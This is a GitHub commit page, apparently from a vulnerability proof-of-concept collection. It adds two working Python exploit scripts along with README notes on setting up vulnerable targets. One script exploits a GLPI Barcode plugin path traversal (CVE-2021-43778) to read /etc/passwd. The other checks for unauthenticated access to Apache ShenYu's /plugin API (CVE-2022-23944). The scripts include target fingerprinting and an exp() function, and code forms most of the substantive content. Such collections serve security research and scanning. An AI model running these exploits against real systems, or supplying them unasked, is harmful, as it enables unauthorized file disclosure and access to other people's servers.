-
Notifications
You must be signed in to change notification settings - Fork 220
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
a5d1f6f
commit ba76e6b
Showing
19 changed files
with
202 additions
and
29 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
import requests | ||
|
||
|
||
# Vuln Base Info | ||
def info(): | ||
return { | ||
"author": "cckuailong", | ||
"name": '''GLPI plugin Barcode < 2.6.1 path traversal vulnerability''', | ||
"description": '''Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability. This issue was patched in version 2.6.1. As a workaround, delete the `front/send.php` file.''', | ||
"severity": "critical", | ||
"references": [ | ||
"https://github.com/AK-blank/CVE-2021-43778", | ||
"https://nvd.nist.gov/vuln/detail/CVE-2021-43778" | ||
], | ||
"classification": { | ||
"cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", | ||
"cvss-score": "9.1", | ||
"cve-id": "CVE-2021-43778", | ||
"cwe-id": "CWE-22" | ||
}, | ||
"metadata":{ | ||
"vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-43778/vultarget" | ||
}, | ||
"tags": ["glpi", "cve", "cve2021", "lfi"], | ||
} | ||
|
||
|
||
# Vender Fingerprint | ||
def fingerprint(url): | ||
resp = requests.get(url+"/glpi/", timeout=10, verify=False, allow_redirects=False) | ||
if "GLPI - " in resp.text and "/pics/login_logo_glpi.png" in resp.text: | ||
return True | ||
else: | ||
return False | ||
|
||
# Proof of Concept | ||
def poc(url): | ||
result = {} | ||
try: | ||
url = format_url(url) | ||
|
||
path = "/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd" | ||
method = "GET" | ||
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36"} | ||
resp = requests.request(method=method,url=url+path,headers=headers,timeout=10,verify=False,allow_redirects=False) | ||
|
||
if "root:" in resp.text and ":0:0" in resp.text and resp.status_code == 200: | ||
result["success"] = True | ||
result["info"] = info() | ||
result["payload"] = url+path | ||
|
||
except: | ||
result["success"] = False | ||
|
||
return result | ||
|
||
|
||
# Exploit, can be same with poc() | ||
def exp(url): | ||
return poc(url) | ||
|
||
|
||
# Utils | ||
def format_url(url): | ||
url = url.strip() | ||
if not ( url.startswith('http://') or url.startswith('https://') ): | ||
url = 'http://' + url | ||
url = url.rstrip('/') | ||
|
||
return url |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
## Install the glpi | ||
|
||
## Copy the vuln plugin to DIR plugins/ | ||
|
||
## Poc | ||
|
||
[Poc](../poc/pocsploit/CVE-2021-43778.py) |
Binary file not shown.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
import requests | ||
|
||
|
||
# Vuln Base Info | ||
def info(): | ||
return { | ||
"author": "cckuailong", | ||
"name": '''ShenYu Admin Unauth Access''', | ||
"description": '''User can access /plugin api without authentication. This issue affected Apache ShenYu 2.4.0 and 2.4.1.''', | ||
"severity": "medium", | ||
"references": [ | ||
"https://github.com/apache/incubator-shenyu/pull/2462/files", | ||
"https://nvd.nist.gov/vuln/detail/CVE-2022-23944" | ||
], | ||
"classification": { | ||
"cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", | ||
"cvss-score": "9.1", | ||
"cve-id": "CVE-2022-23944", | ||
"cwe-id": "CWE-306, CWE-862" | ||
}, | ||
"metadata":{ | ||
"vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-23944/vultarget" | ||
}, | ||
"tags": ["shenyu", "unauth" , "apache"], | ||
} | ||
|
||
|
||
# Vender Fingerprint | ||
def fingerprint(url): | ||
resp = requests.get(url, timeout=10, verify=False) | ||
if "<title>ShenYu Gateway</title>" in resp.text: | ||
return True | ||
else: | ||
return False | ||
|
||
# Proof of Concept | ||
def poc(url): | ||
result = {} | ||
try: | ||
url = format_url(url) | ||
|
||
path = "/plugin" | ||
method = "GET" | ||
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36"} | ||
resp = requests.request(method=method,url=url+path,headers=headers,timeout=10,verify=False,allow_redirects=False) | ||
|
||
if resp.status_code == 200 and '"message":"query success"' in resp.text and '"code":200' in resp.text: | ||
result["success"] = True | ||
result["info"] = info() | ||
result["payload"] = url+path | ||
|
||
except: | ||
result["success"] = False | ||
|
||
return result | ||
|
||
|
||
# Exploit, can be same with poc() | ||
def exp(url): | ||
return poc(url) | ||
|
||
|
||
# Utils | ||
def format_url(url): | ||
url = url.strip() | ||
if not ( url.startswith('http://') or url.startswith('https://') ): | ||
url = 'http://' + url | ||
url = url.rstrip('/') | ||
|
||
return url |
This file was deleted.
Oops, something went wrong.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -17,3 +17,7 @@ vuln app: | |
version >= 4.2, return 600 | ||
|
||
![](2.png) | ||
|
||
[Poc](../poc/pocsploit/CVE-2022-23944.py) | ||
|
||
![](3.png) |